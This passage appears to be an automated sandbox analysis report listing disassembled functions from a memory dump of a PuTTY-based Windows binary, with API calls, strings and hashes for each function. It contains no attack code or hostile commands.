                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: RectWindowZoomed$ClientDesktopInvalidate
                                                                                                                                                    • String ID: (
                                                                                                                                                    • API String ID: 2702938005-3887548279
                                                                                                                                                    • Opcode ID: c796438050bae65be6d650bc83be20c3dd1aaf8c827d87b4115d12a1b1baec2e
                                                                                                                                                    • Instruction ID: f55278e7fe624fcb1bc183f084f78e52de8806af4e9d549b4976561f9a479698
                                                                                                                                                    • Opcode Fuzzy Hash: c796438050bae65be6d650bc83be20c3dd1aaf8c827d87b4115d12a1b1baec2e
                                                                                                                                                    • Instruction Fuzzy Hash: 67519271614201DFDB26AF28ED46B3ABBE9FB40745F040538FA49DB2B1DB71E864CA41
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0037EA90 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 129libraryloaderCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • _strlen.LIBCMT ref: 0037EAA6
                                                                                                                                                    • _strcat.LIBCMT ref: 0037EADB
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0037EB1A
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: AddressProc_strcat_strlen
                                                                                                                                                    • String ID: %02x$CryptProtectMemory$crypt32.dll$pW5
                                                                                                                                                    • API String ID: 3651457578-2577903960
                                                                                                                                                    • Opcode ID: f863afa0099ea7cd69e5b0a2d86a85716a24ad02bc3130ed618ee1d10034eb59
                                                                                                                                                    • Instruction ID: aea6bcb1b9abfc6550edb06ab6686f99fc2f6644114b0d75001e4cd6cbeaeb1e
                                                                                                                                                    • Opcode Fuzzy Hash: f863afa0099ea7cd69e5b0a2d86a85716a24ad02bc3130ed618ee1d10034eb59
                                                                                                                                                    • Instruction Fuzzy Hash: 4B3106F29043506BDB236734AC87F6B3BAC9F56744F090474F80ADB242EA29D918C766
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0031C050 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 122fileCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • ___from_strstr_to_strchr.LIBCMT ref: 0031C0E2
                                                                                                                                                    • CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000003,40000000,00000000), ref: 0031C11D
                                                                                                                                                    • GetLastError.KERNEL32 ref: 0031C190
                                                                                                                                                      • Part of subcall function 0031C330: GetCommState.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,00000000,00000000,0031C140,?), ref: 0031C34C
                                                                                                                                                      • Part of subcall function 00355D30: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00355D71
                                                                                                                                                      • Part of subcall function 00355D30: InitializeCriticalSection.KERNEL32(003F33E0,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?,00000001), ref: 00355DCA
                                                                                                                                                      • Part of subcall function 00355D30: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,00000000,?), ref: 00355DD8
                                                                                                                                                      • Part of subcall function 00355D30: CreateThread.KERNEL32 ref: 00355E02
                                                                                                                                                      • Part of subcall function 00355D30: CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 00355E0D
                                                                                                                                                      • Part of subcall function 00355A50: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,?,?,?,00000000,?,00000001), ref: 00355A91
                                                                                                                                                      • Part of subcall function 00355A50: InitializeCriticalSection.KERNEL32(003F33E0,?,?,?,00000000,?,?,?,00000000,?,00000001), ref: 00355ADA
                                                                                                                                                      • Part of subcall function 00355A50: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,?,?,?,00000000,?,00000001), ref: 00355AE8
                                                                                                                                                      • Part of subcall function 00355A50: CreateThread.KERNEL32 ref: 00355B12
                                                                                                                                                      • Part of subcall function 00355A50: CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,?,?,00000000,?,00000001), ref: 00355B1D
                                                                                                                                                      • Part of subcall function 0032E7A0: _strlen.LIBCMT ref: 0032E7AB
                                                                                                                                                      • Part of subcall function 0032E7A0: _strcat.LIBCMT ref: 0032E7C7
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Create$Event$CloseCriticalHandleInitializeSectionThread$CommErrorFileLastState___from_strstr_to_strchr_strcat_strlen
                                                                                                                                                    • String ID: %s%s$Opening '%s': %s$Opening serial device %s$\\.\
                                                                                                                                                    • API String ID: 3096320600-1737485005
                                                                                                                                                    • Opcode ID: f6663c7dcc59972847ad5597e8dffd33f1f8635fb51a4866b3d80a19566f501f
                                                                                                                                                    • Instruction ID: 262a2a3204a0edf03bcc1fc103ef58a891eb9a851ddc83d3fad0715b2247e6ef
                                                                                                                                                    • Opcode Fuzzy Hash: f6663c7dcc59972847ad5597e8dffd33f1f8635fb51a4866b3d80a19566f501f
                                                                                                                                                    • Instruction Fuzzy Hash: 5A41A5F5A403006FE3225F21EC46F277AE8EF48718F050529F9099F393E671E9148B92
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0038EBA0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • _ValidateLocalCookies.LIBCMT ref: 0038EBD7
                                                                                                                                                    • ___except_validate_context_record.LIBVCRUNTIME ref: 0038EBDF
                                                                                                                                                    • _ValidateLocalCookies.LIBCMT ref: 0038EC68
                                                                                                                                                    • __IsNonwritableInCurrentImage.LIBCMT ref: 0038EC93
                                                                                                                                                    • _ValidateLocalCookies.LIBCMT ref: 0038ECE8
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                                                                                                    • String ID: %8$csm
                                                                                                                                                    • API String ID: 1170836740-1777057073
                                                                                                                                                    • Opcode ID: 24846f2d0d8e2df7a502980c23dbadf6c605419efc2db15730e9d38941ef42e0
                                                                                                                                                    • Instruction ID: 8dbfabda1319e95e2372683ccadd277260195755ade032581a9463ba9e514c64
                                                                                                                                                    • Opcode Fuzzy Hash: 24846f2d0d8e2df7a502980c23dbadf6c605419efc2db15730e9d38941ef42e0
                                                                                                                                                    • Instruction Fuzzy Hash: 2841D174E003089BCF12EF69C885A9EBBB5FF46318F158195E9159F392D731EA01CB91
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00327030 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 99networkCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • getpeername.WS2_32(?,?), ref: 00327062
                                                                                                                                                    • htons.WS2_32(?), ref: 003270C5
                                                                                                                                                    • inet_ntoa.WS2_32(?), ref: 003270D6
                                                                                                                                                      • Part of subcall function 0032E7A0: _strlen.LIBCMT ref: 0032E7AB
                                                                                                                                                      • Part of subcall function 0032E7A0: _strcat.LIBCMT ref: 0032E7C7
                                                                                                                                                    • htons.WS2_32(?), ref: 0032711F
                                                                                                                                                    • inet_ntop.WS2_32(00000017,?,?,00000041), ref: 00327135
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: htons$_strcat_strlengetpeernameinet_ntoainet_ntop
                                                                                                                                                    • String ID: %s:%d$[%s]:%d
                                                                                                                                                    • API String ID: 3000913097-2542140192
                                                                                                                                                    • Opcode ID: 47e83de54eb7d288f2b6b582c72256b678d0730202f40593f045638918b0b79b
                                                                                                                                                    • Instruction ID: 2f0f6348a8ab830922670ef8cbd1022d4913e0e60c5b14ef730fe8b32cf001ef
                                                                                                                                                    • Opcode Fuzzy Hash: 47e83de54eb7d288f2b6b582c72256b678d0730202f40593f045638918b0b79b
                                                                                                                                                    • Instruction Fuzzy Hash: 5A3150B15043109FD7219F65E805B6BBBF8EF88710F00492DF99ACB291E775E944CB92
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00318A50 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 77libraryloaderCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 00318A8C
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,CryptGenRandom), ref: 00318AA7
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,CryptReleaseContext), ref: 00318AC2
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: AddressProc
                                                                                                                                                    • String ID: CryptAcquireContextA$CryptGenRandom$CryptReleaseContext$advapi32.dll
                                                                                                                                                    • API String ID: 190572456-129414566
                                                                                                                                                    • Opcode ID: 3e6670c8c35bcef5ba75f3e003575cf6a97fe8bb22a4690b32d8edb3c4a1ccf3
                                                                                                                                                    • Instruction ID: 109eb2305d6c7043b4c21805bd5fbf7bc34b7c651b51bae1e93cab933f48d4ee
                                                                                                                                                    • Opcode Fuzzy Hash: 3e6670c8c35bcef5ba75f3e003575cf6a97fe8bb22a4690b32d8edb3c4a1ccf3
                                                                                                                                                    • Instruction Fuzzy Hash: 85212AB4205701DBDB1F9F25ECAAB673BA9AB08301F00486DE802866A0DB709C44DB09
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00325680 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 74COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • addr->addresses && step.curraddr < addr->naddresses, xrefs: 003256FE
                                                                                                                                                    • <unknown>, xrefs: 003256DA
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/network.c, xrefs: 003256F9
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strncpy$htonlinet_ntoa
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/network.c$<unknown>$addr->addresses && step.curraddr < addr->naddresses
                                                                                                                                                    • API String ID: 3148508921-1290335607
                                                                                                                                                    • Opcode ID: 1d305d9d72d13a39fbf4f6cf2f08d50a74e2769126e907cecc0269f27de0e867
                                                                                                                                                    • Instruction ID: 94029b7f030af90498f63ded7b8ce1ee131bc1177917f382a1dd03cfb7c03e66
                                                                                                                                                    • Opcode Fuzzy Hash: 1d305d9d72d13a39fbf4f6cf2f08d50a74e2769126e907cecc0269f27de0e867
                                                                                                                                                    • Instruction Fuzzy Hash: 4621CD75640311EFDB269F29EC89F2B7BE8EF94750F054428F8448B292D630D940CBA2
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F6810 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 71windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • DeleteMenu.USER32(00000040,00000000), ref: 002F68C5
                                                                                                                                                    • InsertMenuA.USER32(00000030,00000000,00000040,&Restart Session), ref: 002F68DE
                                                                                                                                                    • DeleteMenu.USER32(00000040,00000000), ref: 002F68EA
                                                                                                                                                    • InsertMenuA.USER32(00000030,00000000,00000040,&Restart Session), ref: 002F68FD
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Menu$DeleteInsert
                                                                                                                                                    • String ID: %s (inactive)$&Restart Session$dp;
                                                                                                                                                    • API String ID: 985044671-578808812
                                                                                                                                                    • Opcode ID: 91b3913756af1472ca06b4a1e4d174733b6ae5cb762918bb84150037179cec14
                                                                                                                                                    • Instruction ID: 208667e102ec6c9d72355d3615cb7f94456b972a835f3ebdc2c8f787bb4040d5
                                                                                                                                                    • Opcode Fuzzy Hash: 91b3913756af1472ca06b4a1e4d174733b6ae5cb762918bb84150037179cec14
                                                                                                                                                    • Instruction Fuzzy Hash: A22163B1640210EBE7237B56FD0AFA53B5CEB55744F140070F30DAB2E1D6B2A428CB99
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0032F670 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetDlgItem.USER32 ref: 0032F67C
                                                                                                                                                    • GetWindowLongA.USER32 ref: 0032F68D
                                                                                                                                                    • GetWindowLongA.USER32 ref: 0032F694
                                                                                                                                                    • SetWindowLongA.USER32 ref: 0032F6AE
                                                                                                                                                    • SetWindowLongA.USER32 ref: 0032F6B4
                                                                                                                                                    • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000027), ref: 0032F6C3
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Window$Long$Item
                                                                                                                                                    • String ID: PuTTY
                                                                                                                                                    • API String ID: 4195074732-84254484
                                                                                                                                                    • Opcode ID: b49127ab4f96b9687b8d71a127ef119539386835d2f197dc0064c61d6bfbcf3a
                                                                                                                                                    • Instruction ID: c7bb25aaacbb02ebf069d0ab37512bc3b66639256291d685fa7d34c9215264fc
                                                                                                                                                    • Opcode Fuzzy Hash: b49127ab4f96b9687b8d71a127ef119539386835d2f197dc0064c61d6bfbcf3a
                                                                                                                                                    • Instruction Fuzzy Hash: D3F0EC3214A5657BC6113B69AC44EDFBF5CDFC73B4F250311F6349A1F0CB25590186A8
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00310390 Relevance: 12.1, APIs: 8, Instructions: 74windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,0000018A,?,00000000), ref: 003103AF
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,00000189,?,00000000), ref: 003103CD
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,00000199,?,00000000), ref: 003103D9
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,00000185,00000000,?), ref: 003103E9
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,00000182,?,00000000), ref: 003103F5
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,00000181,?), ref: 00310406
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,0000019A,?,00000000), ref: 00310414
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,00000186,?,00000000), ref: 00310420
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ItemMessageSend
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 3015471070-0
                                                                                                                                                    • Opcode ID: 5af678cd5e7287b78183bbd9627ed671cf0b5701a458a3c48a9299b0c63f885b
                                                                                                                                                    • Instruction ID: e4c8f7b60b232acbc09c9b54ea99de0285cecbeeb5951a71a2ad843be10c836e
                                                                                                                                                    • Opcode Fuzzy Hash: 5af678cd5e7287b78183bbd9627ed671cf0b5701a458a3c48a9299b0c63f885b
                                                                                                                                                    • Instruction Fuzzy Hash: 540175716817183BF12126129C86FAF7E6CDFC7F98F014119F7446D1C0D9A6AE12827A
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00375600 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 201COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/crypto/ntru.c$head == 0$pos == base$pos > base$tail == n-1
                                                                                                                                                    • API String ID: 0-4194189617
                                                                                                                                                    • Opcode ID: fd3de9cc3336259bf523dedc7fe2fd378661bb472bd16838bd71015c5d4ddf92
                                                                                                                                                    • Instruction ID: be9c8ce239987cac751e1929c56a6f7f8290e91c21971ae5e1773976e4391043
                                                                                                                                                    • Opcode Fuzzy Hash: fd3de9cc3336259bf523dedc7fe2fd378661bb472bd16838bd71015c5d4ddf92
                                                                                                                                                    • Instruction Fuzzy Hash: A361C171A087119BC329DF19C881A2AB3E6BF94710F49C62DF9999B391D771AD10CB82
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003561F0 Relevance: 10.6, APIs: 7, Instructions: 139COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • EnterCriticalSection.KERNEL32(003F33E0), ref: 003561FA
                                                                                                                                                    • CloseHandle.KERNEL32(?), ref: 00356223
                                                                                                                                                    • EnterCriticalSection.KERNEL32(003F33E0), ref: 0035622A
                                                                                                                                                    • LeaveCriticalSection.KERNEL32(003F33E0), ref: 00356249
                                                                                                                                                    • SetEvent.KERNEL32(?), ref: 003562FD
                                                                                                                                                    • LeaveCriticalSection.KERNEL32(003F33E0), ref: 003563B4
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: CriticalSection$EnterLeave$CloseEventHandle
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 1488367401-0
                                                                                                                                                    • Opcode ID: 398c5c55bbd906a9f0c35cd4a2d1e62142c7560fb1270ab93fbbc452130814c1
                                                                                                                                                    • Instruction ID: 9ff2b04ecd928fde6a3e6a6992fa390febbe4c833fc132b7729495246fc45f6b
                                                                                                                                                    • Opcode Fuzzy Hash: 398c5c55bbd906a9f0c35cd4a2d1e62142c7560fb1270ab93fbbc452130814c1
                                                                                                                                                    • Instruction Fuzzy Hash: 3451B074500284EFDB229F14DCCAF657BA8AF15305F488099ED099F2A6C7B5E948CB62
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0032C750 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 0032C620: AllocateAndInitializeSid.ADVAPI32(?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,003F32EC), ref: 0032C69D
                                                                                                                                                      • Part of subcall function 0032C620: AllocateAndInitializeSid.ADVAPI32(?,00000001,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,003F32F0), ref: 0032C6CC
                                                                                                                                                      • Part of subcall function 0032C620: GetLastError.KERNEL32(?,00000001,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,003F32F0), ref: 0032C6D6
                                                                                                                                                    • GetCurrentProcess.KERNEL32 ref: 0032C832
                                                                                                                                                    • GetLastError.KERNEL32 ref: 0032C86C
                                                                                                                                                    • LocalFree.KERNEL32(?), ref: 0032C893
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
